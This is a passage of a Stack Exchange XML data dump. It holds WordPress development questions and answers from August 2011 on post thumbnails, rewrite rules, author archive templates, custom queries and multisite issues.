LastActivityDate="2011-08-12T08:55:33.537" />
  <row Id="25715" PostTypeId="1" CreationDate="2011-08-12T09:27:49.557" Score="0" ViewCount="17" Body="&lt;p&gt;I want to get an uploaded image fitting 100% inside a div. The problem is that, the uploaded image has different size. For example, I uploaded an image and wordpress created an 150x150 thumbnail.&#xA;I want to display that thumbnail into a div which is 200x150. It is okay that the image propotions will be distorted, but I am unable to do that.&#xA;I am trying:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php the_post_thumbnail( array(200,150) ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It only shows 150x150.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS. I don't want to add resize another copy of image using set_post_thumbnail_size. Instead I just want to make the thumbnail fit into a div by stretching it.&lt;/p&gt;&#xA;" OwnerUserId="7841" LastActivityDate="2011-08-12T14:20:18.450" Title="fitting the thumbnail image into a div" Tags="&lt;images&gt;" AnswerCount="2" />
  <row Id="25716" PostTypeId="1" CreationDate="2011-08-12T09:28:18.543" Score="0" ViewCount="20" Body="&lt;p&gt;I have what I think should be a really simple problem.  But for some reason I can't crack it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want everything following an existing page to be directed as a query arg to that page.  So&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example.com/mypage/this/that/other&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example.com/mypage/this/that&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example.com/mypage/this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;should all lead to&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example.com/mypage with query cpath=/this/that/other (or whatever followed)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?  Using standard references hasn't lead to anything but 404 pages&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="7842" LastActivityDate="2011-08-12T13:40:51.513" Title="rewrite rules and capturing" Tags="&lt;url-rewriting&gt;" AnswerCount="1" />
  <row Id="25717" PostTypeId="1" AcceptedAnswerId="25720" CreationDate="2011-08-12T10:12:56.457" Score="0" ViewCount="24" Body="&lt;p&gt;I have a small problem with my wordpress. I am developing this blog and whenever I press on author name as usual I get the page all pages by a specific author, but this page looks really bad. Any ideas of where I should inspect for problem? Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="7552" LastEditorUserId="7552" LastEditorDisplayName="" LastEditDate="2011-08-23T20:44:20.493" LastActivityDate="2011-08-23T20:44:20.493" Title="Which page is reffering to &quot;all posts by author&quot;?" Tags="&lt;wordpress-version&gt;" AnswerCount="2" />
  <row Id="25718" PostTypeId="1" AcceptedAnswerId="25723" CreationDate="2011-08-12T10:34:12.697" Score="0" ViewCount="36" Body="&lt;p&gt;I'm using a custom query with custom post-types to display a blog-archive for my brothers photography-website. I integrated &lt;a href=&quot;http://wpcanyon.com/tipsandtricks/get-the-src-attribute-from-wordpress-post-thumbnail/&quot; rel=&quot;nofollow&quot;&gt;this code&lt;/a&gt; to link to the larger version of the thumbnail. Sadly it doesn't work. Is it because its a custom query?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php /*&#xA;Template Name: Archiv&#xA;*/ ?&amp;gt;&#xA;&amp;lt;?php get_header(); ?&amp;gt;&#xA;&#xA;    &amp;lt;section id=&quot;content&quot;&amp;gt;&#xA;        &amp;lt;div id=&quot;archive&quot;&amp;gt;&#xA;            &amp;lt;?php $args = array( &#xA;                'post_type' =&amp;gt; array('blog'), &#xA;                'numberposts' =&amp;gt; -1, &#xA;                'post_status' =&amp;gt; null, &#xA;                'post_parent' =&amp;gt; null,&#xA;                ); &#xA;                $posts = get_posts($args);  ?&amp;gt;&#xA;&#xA;            &amp;lt;?php if ($posts) { &#xA;                foreach ($posts as $post) { &#xA;                    setup_postdata($post); &#xA;                    $month =  mysql2date('F Y', $post-&amp;gt;post_date); &#xA;                    if ($month != $check) {                 } &#xA;                $check = $month; ?&amp;gt;&#xA;&#xA;&#xA;&#xA;&#xA;                    &amp;lt;div class=&quot;einzelbild einzelbild-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;                    &amp;lt;a href=&quot;&amp;lt;?php $thumbnail_src = wp_get_attachment_image_src( get_post_thumbnail_id( $post-&amp;gt;ID ), &quot;medium&quot; ); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_post_thumbnail('medium'); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;a href=&quot;&amp;lt;?php $thumbnail_src = wp_get_attachment_image_src( get_post_thumbnail_id( $post-&amp;gt;ID ), &quot;medium&quot; ); ?&amp;gt;&quot; class=&quot;linkbox-&amp;lt;?php the_ID(); ?&amp;gt; linkbox&quot; style=&quot;display:none;&quot;&amp;gt;&amp;lt;span class=&quot;datum&quot;&amp;gt;&amp;lt;?php the_date('M jS'); ?&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;h1 class=&quot;post-title&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;                    &amp;lt;/a&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;&#xA;                    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;                        $(document).ready(function() {&#xA;                            var hide = false;&#xA;                            $(&quot;.einzelbild-&amp;lt;?php the_ID(); ?&amp;gt;&quot;).hover(function(){&#xA;                                if (hide) clearTimeout(hide);&#xA;                                $(&quot;.linkbox-&amp;lt;?php the_ID(); ?&amp;gt;&quot;).fadeIn();&#xA;                            }, function() {&#xA;                                hide = setTimeout(function() {$(&quot;.linkbox-&amp;lt;?php the_ID(); ?&amp;gt;&quot;).fadeOut(500);}, 100);&#xA;                            });&#xA;                            $(&quot;.linkbox-&amp;lt;?php the_ID(); ?&amp;gt;&quot;).hover(function(){&#xA;                                if (hide) clearTimeout(hide);&#xA;                            }, function() {&#xA;                                hide = setTimeout(function() {$(&quot;.linkbox-&amp;lt;?php the_ID(); ?&amp;gt;&quot;).fadeOut(500);}, 100);&#xA;                            });&#xA;                        });&#xA;                    &amp;lt;/script&amp;gt; &#xA;&#xA;            &amp;lt;?php } &#xA;            } &#xA;            ?&amp;gt;  &#xA;        &amp;lt;/div&amp;gt;&#xA;&amp;lt;/section&amp;gt; &#xA;&amp;lt;script&amp;gt;&#xA; $(function(){&#xA;&#xA;    var $container = $('#archive');&#xA;&#xA;    $container.imagesLoaded( function(){&#xA;      $container.masonry({&#xA;        itemSelector : '.einzelbild',&#xA;        columnWidth: 10,&#xA;        isAnimated: true,&#xA;          animationOptions: {&#xA;            duration: 750,&#xA;            easing: 'linear',&#xA;            queue: false&#xA;          }&#xA;      });&#xA;    });&#xA;&#xA;  });&amp;lt;/script&amp;gt;&#xA;&#xA;&#xA;&amp;lt;?php include 'sidebar-blog.php'; ?&amp;gt;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7753" LastEditorUserId="4610" LastEditorDisplayName="" LastEditDate="2011-08-12T12:00:51.670" LastActivityDate="2011-08-12T13:07:01.913" Title="Link to larger thumbnail in custom query (with custom post-types)" Tags="&lt;custom-post-types&gt;&lt;post-thumbnails&gt;" AnswerCount="1" />
  <row Id="25719" PostTypeId="2" ParentId="25717" CreationDate="2011-08-12T10:46:37.397" Score="0" ViewCount="" Body="&lt;p&gt;please check  &lt;strong&gt;&lt;code&gt;author.php&lt;/code&gt;&lt;/strong&gt; file in your theme folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is no  &lt;strong&gt;&lt;code&gt;author.php&lt;/code&gt;&lt;/strong&gt; file in your theme folder, you have to edit &lt;strong&gt;&lt;code&gt;archive.php&lt;/code&gt;&lt;/strong&gt; file. The &lt;strong&gt;&lt;code&gt;archive.php&lt;/code&gt;&lt;/strong&gt; file lists all archive posts(including the author posts) in your WP blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is no &lt;strong&gt;&lt;code&gt;archive.php&lt;/code&gt;&lt;/strong&gt; file in your theme folder, Simply edit the &lt;strong&gt;&lt;code&gt;index.php&lt;/code&gt;&lt;/strong&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can check if the page is author page by &lt;strong&gt;&lt;code&gt;is_author()&lt;/code&gt;&lt;/strong&gt; function.&lt;/p&gt;&#xA;" OwnerUserId="7844" LastActivityDate="2011-08-12T10:46:37.397" />
  <row Id="25720" PostTypeId="2" ParentId="25717" CreationDate="2011-08-12T10:48:20.317" Score="0" ViewCount="" Body="&lt;p&gt;please refer to the codex:&#xA;&lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy#Author_display&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Template_Hierarchy#Author_display&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;however, your problem is caused by a conflict of the &lt;code&gt;.author&lt;/code&gt; class output by the &lt;code&gt;body_class()&lt;/code&gt; and this existing style in custom.css:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.author {&#xA;    float: left;&#xA;    margin-top: -3px;&#xA;    width: 219px;&#xA;    background: #E7ECEF;&#xA;    border-right: 1px solid #D6DFDC;&#xA;    height: 41px;&#xA;    cursor: pointer;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;check why this style is added there in the first place;&#xA;if there is no reason, remove it; &#xA;if there is a good reason, try to change it to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#content .author { ......&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-08-12T10:48:20.317" CommentCount="2" />
  <row Id="25721" PostTypeId="1" CreationDate="2011-08-12T11:18:31.783" Score="0" ViewCount="38" Body="&lt;p&gt;Is it possible to&#xA;a) upload image in meta box (not using default WP image uploader) and then&#xA;b) get the path to uploaded this way image in a custom field?&lt;/p&gt;&#xA;" OwnerUserId="7336" LastActivityDate="2011-08-12T12:22:10.180" Title="Metabox image upload and custom field" Tags="&lt;custom-field&gt;&lt;metabox&gt;&lt;media-upload&gt;" AnswerCount="1" />
  <row Id="25722" PostTypeId="1" CreationDate="2011-08-12T11:32:42.030" Score="0" ViewCount="41" Body="&lt;p&gt;I am using multisite on wordpress using subdomains on my local.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had created a page for one of the sites [site1.local.loc] with the link [site1.local.loc/page1 ; I entered this in the page creation step only]. However, on creation of any page, when I click on the 'View page' link that appears, I get a 'Not found 404' error message. It doesn't look like a Wordpress 404.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the pages exist, but they are not getting linked. This is because when I assign a static page to be my home page, it loads with the content that I had created. I didn't fiddle around with permalinks either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get around this?&lt;/p&gt;&#xA;" OwnerUserId="7732" LastActivityDate="2011-08-12T22:19:37.540" Title="Wordpress multisite giving a 404 on all new pages created" Tags="&lt;multisite&gt;&lt;page&gt;&lt;htaccess&gt;&lt;subdomains&gt;&lt;404&gt;" AnswerCount="2" />
  <row Id="25723" PostTypeId="2" ParentId="25718" CreationDate="2011-08-12T12:03:13.633" Score="0" ViewCount="" Body="&lt;p&gt;In your code you are linking to an image using this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_get_attachment_image_src( get_post_thumbnail_id( $post-&amp;gt;ID ), &quot;medium&quot; );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So what you are doing is showing the medium sized image as well as linking to the medium image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you need to do is link to the full sized image:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_get_attachment_image_src( get_post_thumbnail_id( $post-&amp;gt;ID ), &quot;full&quot; );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also &lt;code&gt;wp_get_attachment_image_src&lt;/code&gt; returns the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array&#xA;(&#xA;[0] =&amp;gt; url&#xA;[1] =&amp;gt; width&#xA;[2] =&amp;gt; height&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php $thumbnail_src = wp_get_attachment_image_src( get_post_thumbnail_id( $post-&amp;gt;ID ), &quot;medium&quot; ); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_post_thumbnail('medium'); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;needs to become:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$thumbnail_src = wp_get_attachment_image_src( get_post_thumbnail_id( $post-&amp;gt;ID ), &quot;full&quot; );&#xA;?&amp;gt;&#xA;&amp;lt;a href=&quot;&amp;lt;?php echo $thumbnail_src[0]; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_post_thumbnail('medium'); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4610" LastEditorUserId="4610" LastEditorDisplayName="" LastEditDate="2011-08-12T13:07:01.913" LastActivityDate="2011-08-12T13:07:01.913" CommentCount="3" />
  <row Id="25724" PostTypeId="2" ParentId="25721" CreationDate="2011-08-12T12:22:10.180" Score="0" ViewCount="" Body="&lt;p&gt;I think this should help: &lt;a href=&quot;http://austinpassy.com/2010/03/creating-custom-metaboxes-and-the-built-in-uploader/&quot; rel=&quot;nofollow&quot;&gt;http://austinpassy.com/2010/03/creating-custom-metaboxes-and-the-built-in-uploader/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-08-12T12:22:10.180" />
  <row Id="25725" PostTypeId="1" CreationDate="2011-08-12T13:01:09.273" Score="1" ViewCount="24" Body="&lt;p&gt;I have a custom display of meta-info (authors name, date and categories). So, I want to display a custom link to all posts by author. By theme default I have this &lt;code&gt;&amp;lt;?php the_author_posts_link(); ?&amp;gt;&lt;/code&gt; which displays author name and if you press on it you get what I want. On the index.php actually it is what I want, but on single.php I would like to have something like &quot;view all pages by author&quot; text and if you would press on it, it should do exactly the same as adding &lt;code&gt;&amp;lt;?php the_author_posts_link(); ?&amp;gt;.&lt;/code&gt; where should I start with this issue? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="7552" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-08-12T13:27:50.203" LastActivityDate="2011-08-12T13:50:44.720" Title="I want to add a custom &quot;all posts by author&quot; by authors name. How?" Tags="&lt;template&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="25726" PostTypeId="1" CreationDate="2011-08-12T13:14:06.240" Score="1" ViewCount="40" Body="&lt;p&gt;Is there a way to filter posts by featured image when initialising a WP_Query object?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$my_query = WP_Query(array(&quot;has_thumbnail&quot;=&amp;gt;true));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or, more ideally&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$my_query = WP_Query(array(&quot;has_thumbnail_size&quot;=&amp;gt;&quot;custom_size&quot;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="784" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-08-12T13:20:08.793" LastActivityDate="2011-08-12T13:45:51.047" Title="Check for featured image in WP_Query" Tags="&lt;plugin-development&gt;&lt;theme-development&gt;&lt;wp-query&gt;&lt;post-thumbnails&gt;" AnswerCount="1" />
  <row Id="25727" PostTypeId="1" AcceptedAnswerId="25738" CreationDate="2011-08-12T13:29:25.303" Score="0" ViewCount="19" Body="&lt;p&gt;I can easily add menu in the admin panel menus.just select the pages and cretae menu. i need to set pages URL with querystring. is that possible?.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mysite.com/about&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/about&lt;/a&gt; for this url i need to set &lt;a href=&quot;http://mysite.com/about?abt=12&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/about?abt=12&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how can i set this querystring value using menu?.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&#xA;Ravi&lt;/p&gt;&#xA;" OwnerUserId="6245" LastActivityDate="2011-08-12T14:54:12.777" Title="How to pass the Querystring in pages?" Tags="&lt;pages&gt;" AnswerCount="1" />
  <row Id="25728" PostTypeId="1" CreationDate="2011-08-12T13:39:35.187" Score="1" ViewCount="20" Body="&lt;p&gt;I just want to get rid of all the text format options in WP text editor, like H1, H2, etc. Typing the post/page title automatically gives you a H1 heading. It's not good practice to have more than one H1 heading per post/page so there's no need for this option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say I just want to have an option for a subtitle like Heading 5 and nothing else. How do I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Appreciate any suggestion!&lt;/p&gt;&#xA;" OwnerUserId="7845" LastActivityDate="2011-08-12T13:53:46.830" Title="How do I remove TinyMCE text format" Tags="&lt;theme-development&gt;" AnswerCount="1" />
  <row Id="25729" PostTypeId="2" ParentId="25716" CreationDate="2011-08-12T13:40:51.513" Score="1" ViewCount="" Body="&lt;p&gt;You could add a rewrite rule. Rewrite rules are the regular expressions that WP uses to parse out the query from friendly URLs.  But I think this would potentially &lt;strong&gt;mess things up&lt;/strong&gt;.  How would WP distinguish between &lt;code&gt;/this-is-a-page/this-is-a-child-page/&lt;/code&gt; and &lt;code&gt;/this-is-a-page/this-is-a-parameter/&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A better option, I think, would be to hook into the &lt;code&gt;parse_request&lt;/code&gt; action.  This gets called after WP loads what it thinks are the query vars, but before it makes the query (and so before it decides that the request should be &quot;not found.&quot;)  This action hook passes the WP object to your function by reference. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action(&quot;parse_request&quot;, &quot;my_parse_request&quot;);&#xA;&#xA;/**&#xA; * @param WP $wp&#xA; */&#xA;function my_parse_request(&amp;amp;$wp){&#xA;    echo &quot;&amp;lt;pre&amp;gt;&quot;;&#xA;    var_dump($wp-&amp;gt;query_vars);&#xA;    die();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For an existing page &lt;code&gt;server.loc/sample-page/&lt;/code&gt; this outputs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array(2) {&#xA;[&quot;page&quot;]=&amp;gt;&#xA;string(0) &quot;&quot;&#xA;[&quot;pagename&quot;]=&amp;gt;&#xA;string(11) &quot;sample-page&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Adding parameters... &lt;code&gt;server.loc/sample-page/parameter-1/parameter-2/&lt;/code&gt; ... &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array(2) {&#xA;[&quot;page&quot;]=&amp;gt;&#xA;string(0) &quot;&quot;&#xA;[&quot;pagename&quot;]=&amp;gt;&#xA;string(35) &quot;sample-page/parameter-1/parameter-2&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since &lt;code&gt;$wp&lt;/code&gt; is passed by reference you can change &lt;code&gt;$wp-&amp;gt;query_vars&lt;/code&gt; directly, after checking what parts of &lt;code&gt;page_name&lt;/code&gt; are actually pages and storing your parameters for use later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that &lt;code&gt;page&lt;/code&gt; in &lt;code&gt;$wp-&amp;gt;query_vars&lt;/code&gt; refers to the page number, if any.  All you should touch is &lt;code&gt;pagename&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code from which &lt;code&gt;parse_request&lt;/code&gt; is called is in &lt;code&gt;wp-includes/class-wp.php&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7568" LastActivityDate="2011-08-12T13:40:51.513" CommentCount="1" />
  <row Id="25730" PostTypeId="2" ParentId="25726" CreationDate="2011-08-12T13:45:51.047" Score="2" ViewCount="" Body="&lt;p&gt;Technically featured image is custom field with name &lt;code&gt;_thumbnail_id&lt;/code&gt; that holds attachment ID. So you can easily query with something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'meta_query' =&amp;gt; array(&#xA;        array(&#xA;            'key' =&amp;gt; '_thumbnail_id',&#xA;        )&#xA;    )&#xA; );&#xA;$query = new WP_Query( $args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Size on other hand is attribute of that attachment and not post itself. You will need to loop through attachment and get sizes they have (if I remember right it should be in data returned by &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_attachment_metadata&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_get_attachment_metadata()&lt;/code&gt;&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-12T13:45:51.047" />
  <row Id="25732" PostTypeId="2" ParentId="25725" CreationDate="2011-08-12T13:50:44.720" Score="1" ViewCount="" Body="&lt;p&gt;Attach a filter that only outputs a different link when you're on single.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpse25725_author_posts( $link )&#xA;{&#xA;    // abort if not on single.php&#xA;    if ( ! is_single() )&#xA;        return;&#xA;&#xA;    // modify this as you like - so far exactly the same as in the original core function&#xA;    // if you simply want to add something to the existing link, use &quot;.=&quot; instead of &quot;=&quot; for $link&#xA;    $link = sprintf(&#xA;        '&amp;lt;a href=&quot;%1$s&quot; title=&quot;%2$s&quot; rel=&quot;author&quot;&amp;gt;%3$s&amp;lt;/a&amp;gt;',&#xA;        get_author_posts_url( $authordata-&amp;gt;ID, $authordata-&amp;gt;user_nicename ),&#xA;        esc_attr( sprintf( __( 'Posts by %s' ), get_the_author() ) ),&#xA;        get_the_author()&#xA;    );&#xA;&#xA;    return $link;&#xA;}&#xA;add_filter( 'the_author_posts_link', 'wpse25725_author_posts' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-08-12T13:50:44.720" />
  <row Id="25733" PostTypeId="2" ParentId="25728" CreationDate="2011-08-12T13:53:46.830" Score="2" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/tinymce-advanced/&quot; rel=&quot;nofollow&quot;&gt;This plugin&lt;/a&gt; is what you're looking for.&lt;/p&gt;&#xA;" OwnerUserId="7772" LastActivityDate="2011-08-12T13:53:46.830" />
  <row Id="25734" PostTypeId="2" ParentId="25715" CreationDate="2011-08-12T14:18:03.853" Score="0" ViewCount="" Body="&lt;p&gt;Try&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;the_post_thumbnail( 'post-thumbnail', array('width'=&amp;gt;'200', height=&amp;gt;'200')  );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The second (optional) argument is an array of attribubes to be applied to the &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternately, you could do this through css...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; .my-thumb-ctr img {width:200px;height:150px;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7568" LastActivityDate="2011-08-12T14:18:03.853" />
  <row Id="25735" PostTypeId="2" ParentId="25715" CreationDate="2011-08-12T14:20:18.450" Score="0" ViewCount="" Body="&lt;p&gt;When setting the size of the image in an array using &lt;code&gt;the_post_thumbnail&lt;/code&gt; as you are, the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_post_thumbnail&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt; states that the 'crop' feature does not work as of Wordpress 3.0. In order to accomplish what you want, you will need to do the following.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your functions.php file, make a call to &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_image_size&quot; rel=&quot;nofollow&quot;&gt;add_image_size&lt;/a&gt;, which allows you to specify both the dimensions of the image and whether or not it should be cropped.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//set image size&#xA;add_image_size( 'my-custom-size', 200, 150, true );&#xA;&#xA;//use in theme&#xA;the_post_thumbnail( 'my-custom-size' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you could just use CSS to set the size of the image, which will force it to distort and stretch to the desired size, but the Wordpress method below would be the correct way. NOTE: &lt;code&gt;add_image_size()&lt;/code&gt; creates a copy of all images at the dimensions specified. It also only applies to newly uploaded images. Images already stored in the database are not affected.&lt;/p&gt;&#xA;" OwnerUserId="7435" LastActivityDate="2011-08-12T14:20:18.450" />
  <row Id="25736" PostTypeId="1" CreationDate="2011-08-12T14:35:51.057" Score="0" ViewCount="16" Body="&lt;p&gt;I know it's pretty easy to add a unique favicon.ico to each site in a multisite install. But any ideas for making each sites favicon.ico appear to be in the root directory of the site? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The end result would be &lt;a href=&quot;http://example.com/favicon.ico&quot; rel=&quot;nofollow&quot;&gt;http://example.com/favicon.ico&lt;/a&gt; and &lt;a href=&quot;http://anotherexample.com/favicon.ico&quot; rel=&quot;nofollow&quot;&gt;http://anotherexample.com/favicon.ico&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="2744" LastActivityDate="2011-08-12T16:38:31.047" Title="Multisite favicon.ico" Tags="&lt;multisite&gt;&lt;favicon&gt;" AnswerCount="1" />
  <row Id="25737" PostTypeId="2" ParentId="25708" CreationDate="2011-08-12T14:52:04.090" Score="2" ViewCount="" Body="&lt;p&gt;Use the &lt;code&gt;dynamic_sidebar_params&lt;/code&gt; filter.  The following code adds classes to say whether the widget is odd or even, what index it is in the sidebar, and what sidebar it's in.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: the &lt;code&gt;str_replace(&quot;class=\&quot;&quot;, &quot;class=\&quot;$class &quot;, $before_widget);&lt;/code&gt; code below depends on your &lt;code&gt;before_widget&lt;/code&gt; using double quotes -- it probably should be done with a regular expression to handle single quotes as well.  I just haven't ever got around to it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_filter_dynamic_sidebar_params($params){&#xA;&#xA;    static $sidebar_widget_count = array();&#xA;    $sidebar_id = $params[0][&quot;id&quot;];&#xA;    if (! isset($sidebar_widget_count[$sidebar_id])){&#xA;        $sidebar_widget_count[$sidebar_id] = 0;&#xA;    }&#xA;    $before_widget = $params[0]['before_widget'];&#xA;    $class = $sidebar_widget_count[$sidebar_id] % 2 ? &#xA;        &quot;widget-odd&quot; : &quot;widget-even&quot;;&#xA;    $class .= &quot; widget-index-&quot; . $sidebar_widget_count[$sidebar_id];&#xA;    $class .= &quot; widget-in-$sidebar_id&quot;;&#xA;    $before_widget = str_replace(&quot;class=\&quot;&quot;, &#xA;        &quot;class=\&quot;$class &quot;, $before_widget);&#xA;    $params[0]['before_widget'] = $before_widget;&#xA;    $sidebar_widget_count[$sidebar_id]++;&#xA;    return $params;&#xA;}&#xA;&#xA;add_filter(&quot;dynamic_sidebar_params&quot;, &quot;my_filter_dynamic_sidebar_params&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7568" LastActivityDate="2011-08-12T14:52:04.090" />
  <row Id="25738" PostTypeId="2" ParentId="25727" CreationDate="2011-08-12T14:54:12.777" Score="0" ViewCount="" Body="&lt;p&gt;You can create a &quot;custom link&quot; for those pages where you need to add a querystring. Have you tried that? Best of luck!&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2011-08-12T14:54:12.777" />
  <row Id="25739" PostTypeId="2" ParentId="25722" CreationDate="2011-08-12T14:55:44.333" Score="0" ViewCount="" Body="&lt;p&gt;Try going into Settings &gt; Permalinks and re-saving the options there (or change them to something else, save, then reset to what you really want and save again). Sometimes that will clear up strange 404 errors on pages. &lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2011-08-12T14:55:44.333" />
  <row Id="25740" PostTypeId="1" CreationDate="2011-08-12T15:07:56.803" Score="1" ViewCount="26" Body="&lt;p&gt;I have set up a static home page.  I would like the title, Home, to show on the menu, but not on the page.  Can you tell me how to accomplish this?  Thank you.&lt;/p&gt;&#xA;" OwnerUserId="7848" LastActivityDate="2011-08-12T17:55:35.677" Title="Want Page Title to show on menu, but not on page" Tags="&lt;page&gt;" AnswerCount="3" />
